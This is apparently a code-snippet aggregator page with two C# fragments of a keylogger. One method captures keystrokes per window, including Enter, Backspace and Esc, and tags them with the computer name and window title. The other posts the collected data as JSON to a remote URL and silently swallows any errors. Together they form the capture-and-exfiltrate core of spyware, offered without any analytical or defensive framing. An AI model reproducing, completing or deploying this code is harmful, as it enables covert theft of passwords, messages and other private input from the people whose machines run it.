示例#1
0
 void Send(LoggerData loggerData)
 {
     try
     {
         client.PostAsync(URL,
                          new StringContent(JsonConvert.SerializeObject(loggerData),
                                            Encoding.UTF8,
                                            "application/json"));
     }
     catch { }
 }
示例#2
0
        public void KeyDown(CatcherEventArgs args)
        {
            string key = "";

            if (args.Key == Keys.Enter)
            {
                key = "[Enter]\n";
            }
            else if (args.Key == Keys.Back)
            {
                key = "[Back]";
            }
            else if (args.Key == Keys.Escape)
            {
                key = "[Esc]";
            }
            else if (!args.IsSystemKey)
            {
                key = args.UnicodeValue;
            }


            if (key != "" && loggerData != null && args.WindowName == loggerData.WindowName)
            {
                loggerData.Keys += key;
                if (debug)
                {
                    Console.Write(key);
                }
            }
            else if (key != "")
            {
                if (loggerData != null)
                {
                    Send(loggerData);
                }

                loggerData = new LoggerData(computerName, args.WindowName, key);
                if (debug)
                {
                    Console.WriteLine("\n[{0}]", loggerData.WindowName);
                    Console.Write(key);
                }
            }
        }